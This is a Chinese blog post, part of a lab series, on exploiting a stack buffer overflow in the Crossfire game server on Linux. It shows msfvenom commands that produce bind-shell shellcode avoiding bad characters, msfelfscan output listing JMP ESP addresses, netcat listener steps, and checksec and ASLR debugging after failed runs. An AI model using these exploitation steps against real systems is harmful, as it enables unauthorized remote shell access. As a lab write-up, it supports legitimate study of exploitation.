crossfire&linux缓冲区溢出案例(四)

参考资料:linux程序的常用保护机制

上一篇:crossfire&linux缓冲区溢出案例(三)

生成shellcode

上一篇找到了这些坏字符,在生成shellcode的时候必须避免这些字符出现\x00\x09\x0a\x20

1
2
3
4
5
6
7
[目标主机ip-linux] 192.168.67.128
[攻击机ip] 192.168.67.1

msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b
"\x00\x09\x0a\x20" –e x86/shikata_ga_nai

msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f python -b "\x00\x09\x0a\x20" –e x86/shikata_ga_nai

寻找返回地址

现在我们知道要到达ESP寄存器指向的缓冲区,我们需要找到一条指令,例如JMP ESP,它将把我们带到ESP寄存器指向的地址。

edb

Evans Debugger具有简单的操作码搜索功能。ctrl + o 快捷键搜索操作码

1
[目标机执行bof程序]edb --run /usr/games/crossfire/bin/crossfire

但是经过搜索,没有找到任何有效的跳转地址。怀疑是版本不是最新版,有bug,但是apt-get upgrade edb,报了错。

1
2
3
The following packages have unmet dependencies:
emacs-common : Breaks: edb (< 1.32) but 1.31-3 is to be installed
E: Broken packages

放弃使用edb来查找跳转指令。

msfelfscan

如果运行msfelfscan提示命令未找到“ command not found”

1
2
cd /usr/bin
ln -s /usr/share/framework2/msfelfscan msfelfscan

msfelfscan -j esp -f /usr/games/crossfire/bin/crossfire

1
2
3
4
5
6
0x08134597   jmp esp
0x081345d7 jmp esp
0x08134727 jmp esp
0x081349c7 jmp esp
0x08134ad7 jmp esp
0x08134f87 jmp esp

exp

1
2
[攻击机执行命令] ./nc.exe -lnvp 4444
[攻击机] python exp.py

这是exp在栈中的执行流程。

debug

经过一些失败的尝试,crossfire程序还是没有成功反弹shell。

SIGSEGV是非法内存访问异常

同样的crossfire程序,同样的exp。在官方的给的虚拟机中可以成功溢出获得shell,但是在自己的x64位linux上不能。

官方给的靶机地址: pwk-kali-vm.7z

github上有人问了同样的问题,但是没有答案或者解决方案

checksec

1
2
3
4
5
6
7
8
9
10
11
12
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 2262 Symbols No 0 18 crossfire

RELRO: read only relocation 尽量减少可写的存储区域
STACK CANARY :栈保护
NX 将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令
PIE 地址空间分布随机化
RPATH
RUNPATH
Symbols
FORTIFY Fortified 检查是否存在缓冲区溢出的错误
Fortifiable FILE

运行crossfire的虚拟机

未成功的机器A:
Linux kali 5.4.0-kali3-686-pae #1 SMP Debian 5.4.13-1kali1 (2020-01-20) i686 GNU/Linux

成功的虚拟机B:

B机器检查“地址空间分布随机化”后,发现是开启状态,可以确定运行失败的原因跟这个无关。

1
2
/proc/sys/kernel/randomize_va_space
2


在成功弹shell一次后,再次运行机器B的exp,溢出就无法成功了。

重启后,运行exp,就能成功弹shell。

推测是因为溢出改变了某个内存机制?知识的匮乏导致无法继续分析。